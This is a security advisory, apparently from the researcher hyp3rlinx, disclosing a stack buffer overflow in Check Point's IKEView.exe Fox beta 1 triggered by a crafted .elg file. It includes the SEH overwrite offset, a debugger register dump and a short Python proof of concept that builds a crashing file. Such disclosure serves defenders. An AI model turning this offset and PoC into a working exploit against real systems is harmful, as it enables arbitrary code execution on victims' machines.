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IKEView.exe Fox beta 1 - Stack Buffer Overflow Vulnerability
[[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-CP_IKEVIEW-0911.txt Vendor: ================================ www.checkpoint.com Product: ================================ IKEView.exe Fox beta 1 IKEVIew.EXE is used to inspect - internet private key exchanges on the Firewall phase(1 & 2) packets being exchanged with switches and gateways. Vulnerability Type: ====================== Stack Buffer Overflow Vulnerability Details: ===================== IKEView.exe is vulnerable to local stack based buffer overflow when parsing an malicious (internet key exchange) ".elg" file. Vulnerability causes nSEH & SEH pointer overwrites at 4448 bytes after IKEView parses our malicious file, which may result then result in arbitrary attacker supplied code execution. quick GDB register dump: ------------------------ EAX 00000000 ECX 41414141 EDX 7774B4AD ntdll.7774B4AD EBX 00000000 ESP 0018E0E0 EBP 0018E100 ESI 00000000 EDI 00000000 EIP 41414141 C 0 ES 002B 32bit 0(FFFFFFFF) P 1 CS 0023 32bit 0(FFFFFFFF) A 0 SS 002B 32bit 0(FFFFFFFF) Z 1 DS 002B 32bit 0(FFFFFFFF) S 0 FS 0053 32bit 7EFDD000(FFF) T 0 GS 002B 32bit 0(FFFFFFFF) D 0 O 0 LastErr ERROR_SUCCESS (00000000) -----------SEH Chain--------- 0:000> !exchain 0018f870: 42424242 Invalid exception stack at 41414141 0:000> 0018f870: 42424242 Invalid exception stack at 41414141 0:000> 0018F868 |02004AE0 àJ. ASCII "File loaded in 08 minutes, 01 seconds." 0018F86C |41414141 AAAA 0018F870 |41414141 AAAA Pointer to next SEH record 0018F874 |42424242 BBBB SE handler Quick Buffer Overflow POC : =========================== 1) Below python file to create POC save as .py it will generate POC file, open in IKEView.exe and KABOOOOOOOOOOOOOOOOOOOOM! seh="B"*4 #<----------will overwrite SEH with bunch of 42's HEX for 'B' ASCII char. file="C:\\IKEView-buffer-overflow.elg" x=open(file,"w") payload="A"*4444+seh x.write(payload) x.close() print "\n=======================================\n" print " IKEView-buffer-overflow.elg file created\n" print " hyp3rlinx ..." print "=========================================\n" Description: ========================================================== Vulnerable Product: [+] IKEView.exe Fox beta 1 Vulnerable File Type: [+] .elg Affected Area(s): [+] Local OS # 0day.today [2024-11-16] #